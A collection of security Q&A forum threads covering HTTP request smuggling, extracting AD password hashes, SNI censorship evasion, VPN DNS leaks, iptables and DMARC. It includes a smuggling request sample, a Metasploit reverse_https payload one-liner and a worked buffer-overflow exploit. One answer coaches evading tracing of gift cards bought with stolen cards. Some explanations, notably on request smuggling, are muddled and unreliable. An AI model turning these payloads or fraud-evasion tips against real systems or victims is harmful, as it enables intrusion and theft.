HTTP Request Smuggling Basics I am currently trying to learn HTTP Request Smuggling vulnerability to further enhance my pen testing skills. I have watched a couple of videos on Youtube and read articles online regarding it but still have a couple of questions in mind:

What are the attack vectors of HTTP Req Smuggling (Where should I look)?
What is the main way to provide PoC to companies with high traffic? I know that HTTP Smuggling could possibly steal people's cookie, can this be used for the PoC or is this illegal?
Can this or other vulnerability be chained together? (e.g. self-xss & csrf)
I am also a bit confused regarding the CL & TE headers. From my observation, an app is vulnerable to request smuggling if both front-end and back-end interpret the CL & TE headers differently. I know how it works when its CL.TE attack, the front-end would include the body of the request based on the Content-Length and the backend would prioritize the Transfer-Encoding: Chunked header and therefore smuggling our 'additional' request body. But, how does it work on a TE.CL attack?

HTTP Request Smuggling is the attack used to steal cookies and other traffic-based credentials over a vulnerable configured server.
Attack vectors of HTTP Request Smuggling: (Use the Burp Suite for the following)

Parameters in the request. 2 parameters, Content-Length and Transfer-Encoding matter as the surface of this attack. If they both are present in the same request, it's likely that the request is dealing with the front-end and back-end server for parsing.

Also, the Transfer-Encoding parameter should be in a chunked state, this means that more than 1 servers are present on the other side. If another user is requesting the server at the same time, the request will randomly choose either front or back end server for processing on either of the parameters.

HTTP Request Smuggling is rated 7~8.9 in the criticality rate and can be considered a severe vulnerability. It should be included in a POC and is legal, unless the company does not provide the consent to you for testing their systems. POCs should either be provided on platforms like HackerOne or BugCrowd, or should be mailed to the security team with a private YouTube video describing it.
HTTP Request Smuggling can be chained with other tier-1 CDN-related attacks like cookie hijacking or sometimes a SSRF in case of a misconfigured server, token entropy or vulnerable headers.
For the CL;TE headers being, when you use an additional body in the request, the front-end and back-end server parse the body accordingly to the headers passed.
For example, if the following request is passed:
Content-Length: 13
Transfer-Encoding: chunked

0
EXPLOITS

The front-end server is accepting the Content-Length header, thus it will parse out the EXPLOITS string and send the request to the back-end server. The back-end server will parse out 0 first and since it indicates 0 bytes, it will not process the request body beneath it as the parsing will stop. So, the EXPLOITS string will be unprocessed till a new request arrives and will process it including the new request and will give out the response to the new request.
The headers can be obfuscated in a number of ways, like
Transfer-Encoding: xchunked

Transfer-Encoding
: chunked

Any obfuscation you can play with until you get the response in the repeater tab of Burp Suite resulting either a time delay or unexpected content. You can also send 2 quick succession queries to the server for confirming the vulnerability.
Hope this helps!


Extract Password Hashes from Active Directory LDAP Currently we are working on a monthly internal security test which among other should contain a verification of the real password strength the users choose. For this reason I want to extract the password hashes of all users via LDAP. Everything I found was this technet discussion telling me I cant extract the hashes even not as an Administrator which I really can't (don't want) to believe.

Is there any way to extract the password hashes from an Active Directory Server?

What we want to do is extracting the hashes though we can run a syllable attack against them to verify if the passwords are really or just technically good.

You do not need to process the DIT file to aquire hashes from AD or AD LDS, there is some protocol access as well.

Even though a regular LDAP-reads on "userpassword" Attribute (as you can do on other directory products) will always be blocked completely in AD,
there is another official way to read hashes from AD or AD LDS and its officially been there since at least Server 2003. You need to use a special AD access permission (DS-Replication-Get-Changes-All) and an officially documented Microsoft protocol (the AD replication protocol).
This is not a Microsoft internal secret, even 3rd party implementations exist, e.g.: https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/ (although this link overdoes it a bit, by claiming this to be a hack) - You are not hacking AD or LDAP protocol with this, you are manually granting an AD privilege beforehand that is not there by default.

A legitimate use of this DS-Replication-Get-Changes-All privilege is e.g. the Microsoft Asure AD password sync - it syncs your company AD passwords with Azure cloud passwords by transfering the hashes.
you need a special LDAP privilege assigned to an AD account for this, which called is "DS-Replication-Get-Changes-All" https://msdn.microsoft.com/en-us/library/windows/desktop/ms684355(v=vs.85).aspx

Differenciation: The DIRSYNC control can also be used with another slightly different privilege called "DS-Replication-Get-Changes" (whithout the "-All" at the end).  The privilege without "-All" at the end cannot extract sensitive password hash data (There are commercial directory data sync products, like Microsoft MIIS/ILM/FIM/MIM that rely on that privilege. Also domain controllers of type READONLY for DMZ usage use the privilege without the "-All")

Password filter DLLs or PCNS installations on domain controllers do not use these two privileges and also do not grant access to stored AD hashes. They just allow forward a password (at the moment when it's gets changed by the user) to some external processing target that will then set the same password on 3rd party systems within your company.

While a password filter DLL/PCNS will only be able to synchronize passwords that get changed by the user after the filter/PCNS solution has been deployed, the Relication together with the DS-Replication-Get-Changes-All can also synchronize AD password hashes that have been there before the sync solution was deployed.

Neither the two privileges are evil.
It could of course be highly problematic, if used carelessly. But the same goes for careless ACL changes in your AD, granting extensive remote access to your AD, permitting domain and schema admins to anyone and so on......
Its an open door, if you open it. It you don't need it, don't open that door. And if you do open that door, then harden it properly, such that only planned guest can enter that door to touch your precious parts.

So the regular business cases of this read-password-hashes-from-AD mechanism is to synchronize AD hashes to other legitimate authentication systems or to migrate existing company AD hashes to an other 3rd party authentication directory.
(In both cases the other system must be able to understand the hashes for authentication purposes though)


Has an antivirus ever failed to detect malware for "non-technical" reasons? I'm wondering if an antimalware vendor has ever whitelisted (or otherwise failed to detect) a piece of malware because the author/sponsor either paid them, threatened them, or legislated against them.

Yes - this example is pretty old, but Magic Lantern was a spyware program written by the FBI that some antivirus vendors initially decided to whitelist.

Wikipedia

  The public disclosure of the existence of Magic Lantern sparked a
  debate as to whether anti-virus companies could or should detect the
  FBI's keystroke logger.

  Concerns include uncertainties about Magic Lantern's full potential
  and whether hackers could subvert it for purposes outside the
  jurisdiction of the law.[7][8]

  Bridis reported that Network Associates (maker of McAfee anti-virus
  products), had contacted the FBI following the press reports about
  Magic Lantern to ensure their anti-virus software would not detect the
  program.[citation needed] Network Associates issued a denial, fueling
  speculation as to which anti-virus products might or might not detect
  government trojans.[9]

  CNET News has surveyed 13 security companies about their contacts with
  and level of cooperation with law enforcement authorities.[10]

  Graham Cluley, a technology consultant from Sophos, said "We have no
  way of knowing if it was written by the FBI, and even if we did, we
  wouldn’t know whether it was being used by the FBI or if it had been
  commandeered by a third party".[11] Another reaction from this came
  from Marc Maiffret, chief technology officer and cofounder of eEye
  Digital Security who states: "Our customers are paying us for a
  service, to protect them from all forms of malicious code. It is not
  up to us to do law enforcement's job for them so we do not, and will
  not, make any exceptions for law enforcement malware or other
  tools."[12]

  When asked if Magic Lantern would need a court order to deploy, FBI
  spokesman Paul Bresson would not comment, stating: "Like all
  technology projects or tools deployed by the FBI it would be used
  pursuant to the appropriate legal process."[13][14] Proponents of
  Magic Lantern argue the technology would allow law enforcement to
  efficiently and quickly decrypt messages protected by encryption
  schemes. Implementing Magic Lantern does not require physical access
  to a suspect's computer, unlike Carnivore, a predecessor to Magic
  Lantern, since physical access to a computer would require a court
  order.[15]

  Following the media coverage of Magic Lantern, F-Secure (a Finnish
  anti-virus company), announced their policy on detecting government
  spying programs: "F-Secure Corporation would like to make known that
  we will not leave such backdoors to our F-Secure Anti-Virus products,
  regardless of the source of such tools. We have to draw a line with
  every sample we get regarding whether to detect it or not. This
  decision-making is influenced only by technical factors, and nothing
  else, but within the applicable laws and regulations, in our case
  meaning EU laws.

  We will also be adding detection of any program we see that might be
  used for terrorist activity or to benefit organized crime. We would
  like to state this for the record, as we have received queries
  regarding whether we would have the guts to detect something obviously
  made by a known violent mafia or terrorist organization. Yes we
  would."[16]


Is there any way to bypass SNI eavesdropping? I recently heard that a discussion to encrypt SNI field has been abandoned because of overhead. After a few months later, the government will bring a plan to sniffing SNI field so that they can block connections to websites that they think inappropriate into effect.

SNI field is only for web servers that have multiple domains, so it is not required for ones which only have a single domain. (Am I right?)

As bypassing censorship, I'm imagining a way to remove SNI field arbitrarily when the browser initializes handshake. Is it possible? If not, are there any other ways to bypass it successfully?

Some governments already sniff SNI. I believe Russian ISPs do it to comply with regulations put forth by Roskomnadzor, for example. In cases where they are not sniffed or are not even present, encrypted connections may be blocked entirely. Additionally, websites with individual pages that are blocked may be blocked entirely when HTTPS is used. SNI sniffing is only one part of it.

You are right that disabling SNI could be used in some circumstances to bypass censorship. I operate a website which is blocked in Russia, and I've discovered that it is not blocked if the SNI field is removed. However, my website is the only one hosted on its IP address, so SNI is not necessary in the first place. It may be possible to create a browser extension to selectively disable SNI for certain websites to evade censorship, but it would not always be reliable. I do not know if Firefox's new extension API is sufficiently powerful to modify such low-level behavior.

You can modify the browser to not include SNI, but that would prevent you from connecting to an IP with multiple certificates for multiple domains. A server would have no idea what certificate to present to you when you connect to an ambiguous IP address that hosts multiple domains. SNI exists so the server can respond with the correct certificate. Encrypting SNI by doing opportunistic encryption with the server before even sending SNI would be possible and would protect against a passive adversary, but could fundamentally not protect from an active MITM.


How dangerous can a file be with no detected malware? Let's say there is file which successfully passed all scans by all antivirus software there is on VirusTotal. Does it mean that it can't be dangerous. If no, what kind of dangers we can expect?

It is entirely possible for a file that is not detected by any scanner to still be malware. In fact, I would expect that most new malware starts out that way! Keep in mind that the bad guys have access to antivirus software too. And they will absolutely take advantage of that by making adjustments to their malware until no antivirus software detects it. (Granted, they wouldn't be able to test with Virustotal or any online scanner that would send their file to antivirus companies for analysis, but they can still go a long way testing with offline scanners.)

After the malware is released to the world and gains meaningful distribution, antivirus companies will eventually notice it and add it to their databases. But if you're unlucky enough to be among the first few people to encounter a new piece of malware, it's quite possible that no antivirus software will detect the file as malware when you first encounter it.

It gets worse. Sophisticated attackers (e.g. nation-states) often distribute malware to a very small group of select targets. By intentionally limiting distribution, it can take years or more before any antivirus company catches on. Most people will never be the target of sophisticated attacks like this, but if you happen to be one, antivirus software will be very ineffective.

In conclusion: If many antivirus programs flag a file as malware, it's a good sign that it's malware. If no scanner flags a file as malware, you cannot conclude anything.


DNS Leak with VPNBook (OpenVPN) DNS Leak with VPNBook (OpenVPN)

My current setup:

OS: Ubuntu 17.04

Service: OpenVPN

VPN: VPNBook (free)

VPN Setup:

I setup VPNBook on my Ubuntu OS by downloading the US1 Files on this link:

https://www.vpnbook.com/freevpn

Then I used the terminal to navigate to the folder and I ran this command to start the service:

openvpn --config vpnbook-us1-tcp443.ovpn

After that, I entered the username and password and it proceeded to finish the setup. Once it Finished, I checked my IP with this site:

https://www.dnsleaktest.com/

My IP Addresses was hidden, but when I ran the standard test, it was still showing my ISP name for the DNS Leak. How can I change the DNS to OpenDNS Addresses (208.67.222.222, 208.67.220.220) while using VPNBook? I checked the file located at /etc/resolv.conf but I get this message:

# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
# 127.0.0.53 is the systemd-resolved stub resolver.
# run "systemd-resolve --status" to see details about the actual nameservers.

nameserver 127.0.0.53

It sais any changes will be overwriten, so how can I still change the DNS to OpenDNS to preven any further leaks while using VPNBook?

You can specify the DNS servers to use in your OpenVPN client configuration.

So for OpenDNS it would be the following:

dhcp-option DNS 208.67.222.222
dhcp-option DNS 208.67.220.220


Possible to verify someone is a real person without direct connection? I think the following is not possible, but I have no proof and would like to find out wether it is possible or not.

Let's say in a network, every participant cannot connect to each other participant directly. Every message is sent via a person M. Every participant can connect through M to every other participant.

Is there any way to know if the other participants are real and not fake participants created by M?

I am assuming, that you cannot swap information "offline", e.g. there is no key signing party and no way to exchange certficates offline. Also, you do not know the other participants.

The problem is: If the other participants are simulated by M, M has the data I wanted to share with another participant. Even if encrypted, it could be a key of M.

As you can see, M is already the man in the middle in the architecure.

Is there a proof, you cannot be sure, that the participants are real? Or am I missing some solution to my problem? The architecture has to stay the same for my question.

Thank you in advance!

You're describing the setting of a "prisoner's dilemma" type game, which is based on a situation where trust between prisoners cannot be established.

The normal ways of establishing trust would be as you listed; to meet personally and exchange keys, or to employ a trusted third party, such as a Certificate Authority or WoT, to facilitate trusted key exchange.  In every case, though, participants need to have trust externally introduced without going through the M proxy, or with the third party's certificate pre-installed (all of which still depend on M not being the party who provided the machines in the first place, and M not having surreptitious access to the machines.)


Can simply opening an email lead to a hack? It is common to be wary of links and attachments in emails but I have heard some people say that opening the emails themselves can be risky. Are vulnerabilities that can be exploited simply by opening an email common? Have there been any recent examples?

There have been such vulnerabilities that allows code execution when the message is opened or previewed. A recent example is the Microsoft Outlook Memory Corruption Vulnerability CVE-2018-0852 affecting all Outlook products from 2007 through 2016.

  Note that where severity is indicated as Critical in the Affected
  Products table, the Preview Pane is an attack vector.

Similar vulnerabilities could be found on ANY email client, but the fewer features a client has, the fewer potential security risks, e.g. Mozilla mentions in Security Advisory 2019-12 about critical vulnerabilities:

  In general, these flaws cannot be exploited through email in the
  Thunderbird product because scripting is disabled when reading mail,
  but are potentially risks in browser or browser-like contexts.

This gets broader, if you also consider the possibilities provided by the intended features of some email clients, such as downloading any external content like images. Although your computer doesn't get infected, the sender can get information on when you open the email and possibly the location (IP address). Reading all messages in plain text mode enables the least additional features.


iptables: force clients to use proxy My network: 192.168.0.1 server. (enp0s3 NAT, enp0s8 internal) 192.168.0.10-15 clients (enp0s3 internal).

I have a proxysquid for blocking websites,and so on.

My clients can navigate and browse any website if no proxy is set at firefox settings, if I set the proxy they can't reach any website but can ping 8.8.8.8

My iptables for the conection are:

EXTERNA="enp0s3"
INTERNA="enp0s8"

echo "1" > /proc/sys/net/ipv4/ip_forward

iptables -t filter -F
iptables -t nat -F

iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

# ALLOW TCP & UDP PROTOCOLS
iptables -t filter -A FORWARD -i $INTERNA -p tcp -m multiport --dports 53,80 -j ACCEPT
iptables -t filter -A FORWARD -i $INTERNA -p udp --dport 53 -j ACCEPT
iptables -t filter -A FORWARD -i $INTERNA -p tcp  --dport 443 -j ACCEPT
iptables -t filter -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT

# ALLOW NAT
iptables -t nat -A POSTROUTING -o $EXTERNA -j MASQUERADE

To force clients I've tried:

iptables -t nat -A PREROUTING -i $INTERNA -p tcp -m multiport --dports 80,443 -j REDIRECT --to-port 3128

And:

iptables -t nat -A PREROUTING -i $INTERNA -p tcp -m multiport --dports 80,443 -j DNAT--to-destination 192.168.0.1:3128

The second one (-j DNAT), worked fine while I was using an ACCEPT default policy, but now I need to set the default policy to DROP, and it's not working anymore.

Honestly I'm a novice using iptables, and maybe the solution is easier than I think, but I need some help, thanks you all.

When you redirect traffics to the host itself, the chain of concern in the filter table would be INPUT instead of FORWARD, so add the necessary ACCEPT rules to the former instead. Also the port of concern would be the new port as well:

iptables -t filter -A FORWARD -i $INTERNA -p udp --dport 53 -j ACCEPT
iptables -t filter -A FORWARD -i $INTERNA -p tcp --dport 53 -j ACCEPT
iptables -t filter -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -t filter -A INPUT -i $INTERNA -p tcp --dport 3128 -j ACCEPT
iptables -t filter -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT


Files.bat virus problem in usb My pendrive had a Files.bat virus and all my files been shortcut folder. When I opened my files all my images and some videos still can be opened. Then I copied to my desktop and format my pendrive. When I plug my other pendrive to the laptop, the pendrive infected with the files.bat virus...now my 4 pendrives had the files.bat virus.. Am I copied the virus too to the desktop?

They can auto infect any USB stick you plug in. There's even ones that hide in the firmware of the stick and jump over without you knowing.


Why so many DMARC failures? When to move on? I just started getting DMARC aggregate reports for our newly-DKIM'd environment in passive mode ("p=none;") and notice a strange trend:

Almost 1/4 of the IPs in any given provider report DKIM auth fail
Almost 1/8 of the IPs in any given provider report SPF auth fail

I want to ramp up DMARC enforcement slowly per Google's Deploy Slowly recommendation, but how do I know when it's safe to move onto the next stage?  Are these failures deficiencies in AOL, Gmail, Hotmail, etc. or do they indicate the severity in which our domain is being spoofed?

In a very similar situation at the moment,

Based on several weeks of deploying DMARC:

Know your mail flows and which mail servers send mail from your environment or on your behalf. Start by updating your SPF records accordingly and remember that all domains AND sub-domains need to have their own SPF records.
SPF might still fail due to various reasons (mobile users, remailers etc.) My view is that the way to bypass this on the short-term is to start DKIM signing ASAP for your main domain AND your subdomains.
In case you are working with 3rd parties, either get them to channel their mail flows through your own mail servers, or liaise with them to ensure they are DKIM-savy enough, and build a process to regularly rotate their DKIM public key(s) in your DNS.
Be patient with tightening your policy (I also had planned to follow Google's ramp-up). It is worth taking the time to delve into the DMARC reports and understand why exactly SPF/DKIM/DMARC failed. In a lot of cases, these are actual spoofs. You might discover mail flows which you were not even aware of. Use open source parsers to visualize your reports or send them to some log management system to facilitate the analysis. Or outsource the analysis.
Remember to apply inbound DMARC checking as well. Let everything through in a first phase, then progressively enforce the sender policy. You could e.g. quarantine mails that should be rejected, then actually reject them.

There is an element of risk in enforcing DMARC or publishing a DMARC policy other than p=none, but the reports actually give you a LOT of information and allow for a controlled implementation. It is essential to know your mail flows and who administrates them. Also, test test test as much as possible with dummy mail flows (netcat is your friend)!

Finally, remember that AOL et al. only send you the results of their DMARC checking of mails sent from your domain (or someone who spoofs it). So if a test is flagged as failed, it indicates a problem on your side, not theirs :)

HTH,


What constitutes submitting payment at a different address for PCI-DSS? I am attempting to use TransArmor PCI Rapid Comply to verify compliance for my small business.

At one point, I have two choices:

1) Customers submit payments at a different web address (i.e. separate website for checkout/payment)

2) Customers submit payments on my website (i.e. checkout/payment is part of my website)

I am using a third-party JS widget to handle the entire e-commerce side, which is provided by BookingBug Ltd, a PCI-compliant entity. With this widget, the payment data never touches my server, so I have no card data environment. Notably, I don't control the JS; it is dynamically loaded via a URL under BookingBug Ltd's control. Am I number 1) or 2)?

I started working with 2), but none of the followup questions seemed to apply. Moreover, they seemed far more involved than the average business owner could answer reasonably.

Only a QSA can give you a qualified answer, but I can give you my view.

It's probably making a distinction between SAQ A and SAQ A-EP. Does the BookingBug widget work via an iFrame or does it do a whole page redirect? In that case you're likely SAQ A so #1 would apply.

If the credit card data touches your frontend interface at all, then you would be bumped up to SAQ A-EP, so #2 would apply. If it touches your server, you'd be bumped to SAQ D.

You're responsible for ensuring your third party services are PCI compliant and are handling it in such a way as to reduce your scope. Short answer to make sure the widget is using an iFrame or full page redirect.


Securing Peer to Peer communication Is there a standard way to secure peer to peer communication?

I'm currently using HTTP to transfer data from peer to peer, however, securing with TLS/SSL normally requires a certificate authority to authenticate identity, and using a self-signed certificate hard coded into an application means it's extractable which would still allow MiTM.

Would creating a certificate on first-run be appropriate, then have the UI display the certificate's fingerprint so the users can verify identity out of band? Or would it be more appropriate to just encrypt the bodies being sent over HTTP with some other library (because rolling my own would be an exercise in making security holes). If so, what are the patterns and libraries that one would use (ideally cross-platform)?

Is there a standard way to secure peer to peer communication?

Of course there is. If you want to do highly asymmetric communication (i.e. chat or chat-like communication) OTR (or Axolotl) is the way to go. If you want to do (nearly) real-time communication TLS is the way to go.

Both protocols require long-term static keys. You can display the (hex encoded?) hash to the user and let them verify that personally. Additionally you should store the hashes of the public keys and associate them with the peers at application level to warn the user when the public keys change. Beyond that you can offer your users a Web-Of-Trust approach, where they can verify each other's public key / person binding using digital signatures with their private keys.

OTR natively supports using "just public keys", for TLS you can either use self-signed certificates or raw public keys as per RFC 7250 combined with full TLS client authentication.


I let someone Remote Access my tablet (connected to Wi-Fi), and I think they may have ARP poisoned my network Two days ago, I received a call from someone claiming to be from Intel Corporation stating that my IP address may be insecure, and I dumbly let him Remote Access my Windows 8.1(I think) Tablet (Automatically connects to Wi-Fi).

I'm not sure what they did, but I grew suspicious, around 10-30 minutes later, so I turned off the tablet, and evaded their calls (person isn't here right now, call back later, etc); though I did turn it on again to factory reset it, which I think allowed them access to the tablet again since it locked while I was in the middle of doing that; was able to, but haven't use it since, because I'll have to reconnect it to the Wi-Fi -- don't have access to the security key, since I'm not in charge of it, but it's a home network, and can connect by press the switch on the router.

While it was going on, I noticed them doing some stuff, like pinging 32 bytes every sec (command prompt, to an 8.8.8.8, which seems to be a public DNS from google)  and checking the performance of the computer (task manager), making/changing the network (noticed the name was changed from my connection name to my computer name), and downloading some stuff(Not positive on the name): UltraViewer, something named Router, and maybe others -- When I researched on this, I happened upon ARP poisoning, which I suspect they did to perform man-in-the-middle.

Can anyone help me with this issue? Reason being, my network admin said they'll check the network but hasn't, and stated he doesn't know what to do when I inquired about my research.

Ps. I don't use the Windows tablet for anything besides browsing the internet (Read web novels & comics, searching for stuff, etc)

PS2. Not sure if it's a home network, but when I checked on a laptop, it seems to be.

ARP poisoning is an active attack. They need a presence on your network to maintain it, otherwise the ARP cache will eventually reach a correct state. ARP poisoning would be something they might do to try and attack other hosts on your network, so this should be your primary concern--making sure they are no longer in your network.

Personally, I'd isolate each part of your network, then factory reset things one by one, then reconnect the network, at the end. This would include your router.

If you, understandably, do not want to do that, you should at least check that all computers connected at the time of intrusion had all security patches applied and have no record of intrusion.


How to launch a Metasploit module with arguments in just one command I am developing my first Metasploit module on Metasploit v5.0.1. I would like to launch my own module in one command with args and not using meterpreter. At this time, I launch my module with these commands:

./msf
use evasion/windows/MyModule
set payload windows/meterpreter/reverse_https
set lhost 127.0.0.1
run

I would like to run it like

./msf --module evasion/windows/MyModule --payload windows/meterpreter/reverse_https --lhost 127.0.0.1

It will be more practical to test it like that during my development. Is it possible?

Thanks to Noob123 for the solution. Just enter in the terminal :

./msfconsole -q -x 'use evasion/windows/MyModule;set payload windows/meterpreter/reverse_https;set lhost 127.0.0.1;run'

According to the documentation ./msfconsole --help :

-q, --quiet                      Do not print the banner on startup
-x, --execute-command COMMAND    Execute the specified console commands (use ; for multiples)


Bash command argument security Suppose I want to call a program that takes in a username and password to start. What are the risks with calling the program like ./prog --user 'User' --password 'Password' other than the obvious leak of a user looking over your shoulder?. Is there a safer way to pass in the password?

On most Unix systems the command line is visible to all users, via the ps command. This may not matter greatly if you're on a single-user system, but this is the reason that this approach is generally labelled as insecure. For example: MySQL manual.

A better alternative is to store the password in a file, which avoids this leak. You need to make sure the permissions on the file are appropriate. The link I provided explains how to do this for MySQL. A lot of other software support this in some way.


How do JavaScript access control libraries work and is a client solution not a security threat? As a complete beginner in this area I am looking at various Access Control libraries for my JavaScript webapp (Vue.js PWA). I do not know if understand things correctly but it looks like there are libraries focusing on the backend side, and others on the client side (and a few that can be used on both).

This library e.g. has (by far) most github stars and seems to me a 'backend side solution':

Node ACL

'Client side solutions' e.g.:

Vue ACL
Vue Browser ACL

My question is twofold:
1) Is my division into backend vs client solutions correct?
2) When you have a client solution which using a router hides certain content, is this not a major security risk as the query brought all data (including 'classified' data) to local memory of the client. Can this not easily be compromised?

Yes, your division makes sense; now focus on the backend (security), forget about the client (user experience). In short, for most applications, there's no such thing as client-side security for the website operator. Client-side security is about protecting the user from bugs/xss/phishing/etc. It can however be helpful to users to inform of forbidden actions, hide links they can't click on, or block content for monetization, customization, or internationalization, and a router plugin might help achieve those user goals.
Yes, if you ship info to a client they can see it, even if the default interface presented hides such data. If there's something you don't want a client to know/see/have, you can't give it to them.
Consider news site paywalls where one can read the story in "view-source"; that's about the lowest of the low "hacker-wise", but the concept is the exact same: nature will find a way.


Buffer overflow exploit still seg faults I have a very similar problem as the question here, but the solution there didn't solve it for me. This is a homework assignment, but I'm completely stuck on this.

I have a piece of exploitable code:

void foo(const char* input)
{
    char buf[12] = {"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"};

    // This will overrun the buffer if the array pointed to by
    // input is more than 12 characters long
    strcpy(buf, input);
}

void bar(void)
{
    printf("In bar()");
}

int main(int argc, char* argv[])
{
    foo(argv[1]);

    return 0;
}

The goal is to call bar() from a buffer overflow.

I compiled this on a linux ubuntu server using this command:

gcc vulnerable.c -g -fno-stack-protector -z execstack -O0 -m32  -o ./vuln

I am disabling the stack smasher protection, I'm disabling the nx bit (i think) with -z execstack. I believe I found the size of the buffer and memory location (0804846b) of the function. When I run gdb with a break in my main, I'm able to see that it appears to get into the function:

(gdb) run $(python -c "print('\x90'*24 + '\x6b\x84\x04\x08')")

Breakpoint 1, main (argc=2, argv=0xffffd594) at vulnerable.c:27
27      foo(argv[1]);
(gdb) s
foo (input=0xffffd707 '\220' <repeats 24 times>, "k\204\004\b") at vulnerable.c:11
11      char buf[12] = {"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"};
(gdb) n
15      strcpy(buf, input);
(gdb) n
16  }
(gdb) n
**bar () at vulnerable.c:20**
20  {
(gdb) info registers
eax            0xffffd4b4   -11084
ecx            0xffffd720   -10464
edx            0xffffd4cd   -11059
ebx            0x0  0
esp            0xffffd4d0   0xffffd4d0
ebp            0x90909090   0x90909090
esi            0xf7fbc000   -134496256
edi            0xf7fbc000   -134496256
eip            0x804846b    0x804846b <bar>
eflags         0x282    [ SF IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xffffd704 in ?? ()
(gdb)

The program exits with a seg fault at that ffff memory location. What am I missing?

EDIT: did it get to the return of bar? I think so?:

(gdb) n
bar () at vulnerable.c:20
20  {
(gdb) n
21      printf("In bar()");
(gdb) n
22  }
(gdb) info registers
eax            0x8  8
ecx            0x804b010    134524944
edx            0xf7fbd870   -134490000
ebx            0x0  0
esp            0xffffd4c4   0xffffd4c4
ebp            0xffffd4cc   0xffffd4cc
esi            0xf7fbc000   -134496256
edi            0xf7fbc000   -134496256
eip            0x8048481    0x8048481 <bar+22>
eflags         0x282    [ SF IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
(gdb) n
0xffffd700 in ?? ()
(gdb)

Edit: I found a solution, but it returns error code 10:

(gdb) run $(python -c "print('A' * [NUMBER TO OVERFLOW THE BUFFER] + [address of bar] + [address of libc_start_main])")

This gets the print, but returns code 10.

I faced the same problem. This happens when you are:

Not doing your calculation right so as to determine how many strings to put in buffer.
You are overwriting the instruction itself.

You might want to try checking if there were addresses you were already skipping before this string (it worked for me).

Or you can also try passing a string which has many %x and few alphabets and then you will see after n number of %x you can see the ASCII value of the alphabets you passed will be printed. Now this n can be used as %nu (not the n here from before) and this way also you could attack the buffer and it's called Format String attack. Maybe this would work.


How does allowing breaking grabs with keyboard actions pose a security risk? While modifying the Gnome Tweak Tool I saw the following option which states that allowing breaking grabs with keyboard actions poses a security risk.

How can it be a security risk?

From here:

  The bug allows users to work around screen locking (e.g.
  gnome-screensaver) by hitting Control+Alt+keypad multiply or
  Control+Alt+keypad divide. This terminates the input grab the
  screensaver has and thus allows a user to interact with the desktop,
  skipping the password entry.

Therefore enabling this feature will allow the screensaver lock to be bypassed.


How to encrypt user name and password between my website and an Android app? I am developing an ecommerce website and an Android application.

How can I encrypt a user name and password so that I can make it more secure?

You don't.

You hash and salt them. However, you should not roll your own implementation. Find a library that supports encryption and use a well known impmenetation of a strong algorithm, such as BCrpyt, or PBKDF2.

There's plenty of information out there if you just google for how to securely store passwords in a database. There are plenty duplicate versions of this question on this website.

Here's a link to get you started:
https://crackstation.net/hashing-security.htm

Again, I recommend not rolling your own implementation if you are unsure, and finding a trusted library that uses a strong algorithm to do the work for you.
Implementation mistakes make many applications vulnerable.


Are VISA gift cards untraceable? I was in a retail store today, and these people were discussing how easy it is for people to use stolen credit cards, and buy those visa gift cards without being traced after they purchase the gift cards.

I find this very hard to believe because

A) when you purchase a visa gift card they send the gift card number to the server to the company that owns those gift cards to have it activate it, and I am sure they log which store that happened at, too.

B) I am sure they can monitor that gift card and it will leave a paper trail just like a credit card.

Am I wrong?

A) Yes, they do keep track of purchases. Almost all prepaid gift cards require some form of registration where they collect different data about you: name, address, zip code, phone number, etc.

B) It will. The gift card becomes an account, and you can review your purchase history just like a regular credit card.

However, you can be a liar when you activate the card, and put in fake information. You can go to a store reasonably far away, or to a very busy store (my local pharmacy is always stuffed). You can also pay with cash, which means you don't have records from a credit card company to link your identity with. And, if you're smart with your purchases (don't attempt to order drugs to your house) they can't get any information from the merchant.

tl;dr: If you have cash, you avoid most of the tracking. If you lie to the company, it's very easy to dodge identification.


How can I detect malicious activity based on patterns of DNS requests? I want to know whether a client is infected by detecting malicious activity based on patterns of DNS requests.
e.g.Suppose someone hacked google website and injected codes in it and when user clicks on it then there will be multiple DNS queries.
Suppose one pattern of DNS queries like
request 1: www.google.com
request 2: www.intermediate.com
request 3: www.malicious.com
request 4: www.malaciouscontent.com
Here, first request is valid and legitimate but the requests from 2nd to 4th are causing because of the injected codes and that pattern is what i want to detect if such requests comes in future.

There is no way to reliably detect all malware using DNS analysis only but DNS analysis can help a lot.

While some malware might be detected based on access to known to be bad domains (i.e. domain blacklists) other might be detected because they use uncommon domain names or use a known domain generation algorithm. Deeper analysis can also make domains stand out which have rapidly changing mappings to IP address, i.e. fast flux networks. There is also be malware which stands out because of use of TXT records or similar. But there is also malware which communicates using social media sites and thus does not stand out in most networks. And of course there is malware which uses fixed IP addresses for communication and thus does not cause any DNS traffic at all.

In short: there is no reliable way to detect malware using DNS analysis only. But DNS analysis can help a lot. The easiest ways are probably DNS blacklists provided by various vendors or the use of specific DNS servers like OpenDNS which already block lots of suspicious DNS activity. Apart from that the better you know your network the more unusual activities stand out. These might indicate malware activity, but there might also be other reasons for unusual activity.


Are there any benefits in using VPN service for application with SSL pinning? I understand how using a public VPN service can make network connectivity more secure in case of HTTP, or even HTTPS a without certificate pinning in place.

Suppose we have a fat client application that uses SSL pinning for all HTTPS communication with our servers. What extra advantages can using public VPN service add to our application (not the rest of the system) from the security perspective?

You are mixing up concepts that counter vastly different threat models and thus you question is hard to answer.
Let's say a hypothetical connection path would look like this:
A <-> B <-> C <-> D <-> E <-> F

with

A being the client,
B being a public WiFi you are connected to,
C being the ISP of the WiFi provider,
D and E being intermediate hops between ISPs and
F being your target to which A is connecting.

VPN
A VPN establishes a secure tunnel between your machine and the end point of the tunnel, not more. In the example path, this would cover B and C, maybe D. This has several benefits if you do not trust your local ISP; maybe because that ISP is a public WiFi or otherwise untrustworthy and is expected to sniff your traffic:

